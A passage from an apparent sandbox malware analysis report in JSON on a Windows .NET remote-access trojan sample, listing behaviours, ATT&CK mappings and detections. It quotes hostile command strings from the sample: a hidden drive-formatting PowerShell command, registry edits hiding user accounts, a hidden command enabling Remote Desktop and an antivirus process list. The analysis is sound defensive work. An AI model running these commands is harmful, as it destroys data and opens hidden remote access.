\"TokenHandle\": \"4294967295\"\n \"$status\": \"c000007c\"}\n \".exe\" called \"NtOpenThreadToken\" with parameters {\"ThreadHandle\": \"4294967294\"\n \"DesiredAccess\": \"8\"\n \"OpenAsSelf\": \"1\"\n \"TokenHandle\": \"0\"\n \"$status\": \"c000007c\"}","origin":"API Call","mitre_attack_id":"T1134","relevance":1,"id":"api-197","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"Found tasklist window at 0x\" (Indicator: \" tasklist \") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\n Observed string: \"nd tasklist window at 0x\" (Indicator: \" tasklist \") in Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\n Observed string: \"Found tasklist window at 0x\" (Indicator: \" tasklist \") in Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp\n 00000000-00003440.00000001.73903.00F52000.00000020.mdmp\n 00000000-00003440.00000002.75822.00F52000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to gather process details (Dotnet)","description":"Observed function \"GetProcessById\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"GetProcessesByName\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"\n Observed function \"get_ProcessName\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1057","relevance":1,"id":"static-100","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetModuleHandle\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current hardware profile (API string)","description":"Found reference to API \"GetCurrentHwProfile\" (Indicator: \"GetCurrentHwProfile\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetCurrentHwProfile\" (Indicator: \"GetCurrentHwProfile\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-159","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"GetEnvironmentVariable\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve type of COM object","description":"Found string \"GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"GetTypeFromCLSID\" (Indicator: \"GetTypeFromCLSID\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559.001","relevance":1,"id":"string-569","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges","description":"$56","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-136","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve user privileges (API string)","description":"Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"IsInRole\" (Indicator: \"IsInRole\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-217","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$57","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$58","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$59","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00003440.00000000.71982.001B0000.00000004.mdmp, 00000000-00003440.00000001.73903.001B0000.00000004.mdmp, 00000000-00003440.00000002.75822.001B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to control system service controller","description":"Observed function \"ServiceController\" in \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\"","origin":"Static Parser","mitre_attack_id":"T1569.002","relevance":1,"id":"static-117","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList -Name Venom -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -Name Durios -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"New-ItemProperty -Path HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -Name Venom -PropertyType DWord -Value 0 -Force\" (Indicator: \"New-ItemProperty\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"SystemParametersInfo\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify volumes (Powershell command string)","description":"Found string \"/k start /b powershell Format-Volume -DriveLetter B,C,D,E,F,G,I,J -FileSystem FAT32 -Confirm:$false\" (Indicator: \"Format-Volume\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"k start /b powershell Format-Volume -DriveLetter B,C,D,E,F,G,I,J -FileSystem FAT32 -Confirm:$false\" (Indicator: \"Format-Volume\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-388","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Contains reference to command shell related registry path","description":"Found string \"Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"Software\\Classes\\Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"oftware\\Classes\\Folder\\shell\\open\\command\" (Indicator: \"folder\\shell\\open\\command\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-580","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Found anti-virus related strings names","description":"\"Antivirus\" (Indicator: \"antivir\")\n \"Antivirus disabled.\" (Indicator: \"antivir\")\n \"aswUpdSv\" (Indicator: \"aswupdsv\")\n \"ashServ\" (Indicator: \"ashserv\")\n \"avguard\" (Indicator: \"avguard\")\n \"ashMaiSv\" (Indicator: \"ashmaisv\")\n \"Mcafeeupdate\" (Indicator: \"mcafee\")\n \"persfw\" (Indicator: \"persfw\")\n \"avgwdsvc\" (Indicator: \"avgw\")\n \"avgemc\" (Indicator: \"avgemc\")\n \"mcshield\" (Indicator: \"mcshield\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":3,"id":"string-134","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Calls an API typically used to map section into the virtual address space of a process","description":"$5d","origin":"API Call","mitre_attack_id":"T1055","relevance":1,"id":"api-259","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Calls an API typically used to unmap view of a section from a process","description":"\".exe\" called \"NtUnmapViewOfSection\" with parameters {\"ProcessHandle\": \"4294967295\"}","origin":"API Call","mitre_attack_id":"T1055.012","relevance":1,"id":"api-261","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"Found string \"ExecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"xecutionPolicy Bypass -WindowStyle Hidden -Command Enable-NetFirewallRule -DisplayGroup 'Remote Desktop' & exit\" (Indicator: \"Enable-NetFirewallRule\"; Source: \"00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reference explorer.exe process","description":"Found string \"Windows\\\\explorer.exe\" (Indicator: \"explorer.exe\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"explorer.exe\" (Indicator: \"explorer.exe\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")\n Found string \"/F /IM explorer.exe\" (Indicator: \"explorer.exe\"; File: \"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-481","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"informative","category":"Unusual Characteristics","name":"References registry location(s) potentially used by malware","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-428","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".reloc with unusual entropies 0.101910425663","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":3,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"vmware\" (Indicator: \"vmware\") in Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin","origin":"File/Memory","mitre_attack_id":"T1497","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"52/71 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$60","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to hide user accounts","description":"Observed string: \"software\\microsoft\\windows nt\\currentversion\\winlogon\\specialaccounts\\userlist\"[Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin]\n Observed string: \"software\\microsoft\\windows nt\\currentversion\\winlogon\\specialaccounts\\userlist\"[Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp\n 00000000-00003440.00000001.73903.00F52000.00000020.mdmp\n 00000000-00003440.00000002.75822.00F52000.00000020.mdmp]","origin":"File/Memory","mitre_attack_id":"T1564.002","relevance":5,"id":"string-144","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains pe file in dotnet resource","description":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin has PE file in resource with name: \"MEMORYU\" and filetype: \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\"\n d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin has PE file in resource with name: \"addexclusion\" and filetype: \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\"\n d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin has PE file in resource with name: \"Decryptor\" and filetype: \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\"\n d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin has PE file in resource with name: \"CU\" and filetype: \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-109","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Sample/File contains another embedded binary","description":"Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 68\n Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 196121\n Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 204247\n Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 219362\n Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 393524\n Found multiple string (Indicator: This program cannot be run in DOS mode) in file /tmp/a711a7ca-f30a-4d14-b063-c4fc9e01a6b8/sample.bin at offset 412457","origin":"Binary File","mitre_attack_id":"T1027","relevance":3,"id":"binary-64","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"52/71 Antivirus vendors marked sample as malicious (73% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"$62","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_QuasarRAT\" matched file \"sample.bin\" as \"QuasarRAT payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DLAgent09\" matched file \"sample.bin\" as \"Detects known downloader agent\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DLAgent10\" matched file \"sample.bin\" as \"Detects known downloader agent\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains ability to listen for incoming connections"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Contains ability to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Possibly tries to implement anti-virtualization techniques"},{"detail":"Possibly checks for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Possibly checks for the presence of an Antivirus engine"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":44,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["agent","banker","clipbanker","commodity","mineware","ransomware","rat","sabsik","venomrat","njrat","quasarrat","evasive"],"sandbox_reports":[{"id":"6470d528bdb298a84104e4a0","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"IL:Trojan.MSILMamut","submit_name":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe","analysis_start_time":"2023-05-26T15:50:00+00:00","indicators_count":{"informative":169,"suspicious":33,"malicious":5},"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}],"processes":[{"pid":3440,"ppid":0,"name":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe","command_line":"","sha256":"d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16","normalized_path":"C:\\d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.exe","uid":"00000000-00003440","icon":"$63"}],"all_imported_dlls":["clr.dll","ucrtbase_clr0400.dll","bcrypt.dll","cryptsp.dll","gdi32.dll","KernelBase.dll","vcruntime140_clr0400.dll","mscorlib.ni.dll","uxtheme.dll","oleaut32.dll","System.Drawing.ni.dll","profapi.dll","mscoree.dll","rpcss.dll","shell32.dll","rsaen